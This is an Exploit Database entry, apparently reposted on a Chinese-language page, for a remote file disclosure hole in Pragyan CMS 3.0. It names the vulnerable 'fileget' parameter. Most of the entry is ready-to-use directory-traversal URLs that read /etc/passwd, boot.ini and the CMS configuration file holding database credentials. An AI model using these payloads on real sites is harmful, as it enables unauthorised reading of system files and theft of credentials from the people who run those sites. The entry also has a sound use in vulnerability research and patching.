Pragyan CMS 3.0 – Remote File Disclosure

• Exploit Database
• 11 阅读

• 作者： Or4nG.M4N
  日期： 2012-01-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18347/

• Title
  Pragyan CMS v 3.0 => [Remote File Disclosure] 
  Author 
  Or4nG.M4n
  Download 
  http://space.dl.sourceforge.net/project/pragyan/pragyan/3.0/PragyanCMS-v3.0-beta.tar.bz2
  
  vuln
  download.lib.php line 16
  vuln
  index.php line 234
  
  $_GET['fileget']
   
  exploithttp://localhost/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../etc/passwd . boot.ini
  
  Download Config file 
  exploit/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../appserv/www/Pragyan/cms/config.inc.php
  exploit/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../home/exploitdb/public_html/Pragyan/cms/config.inc.php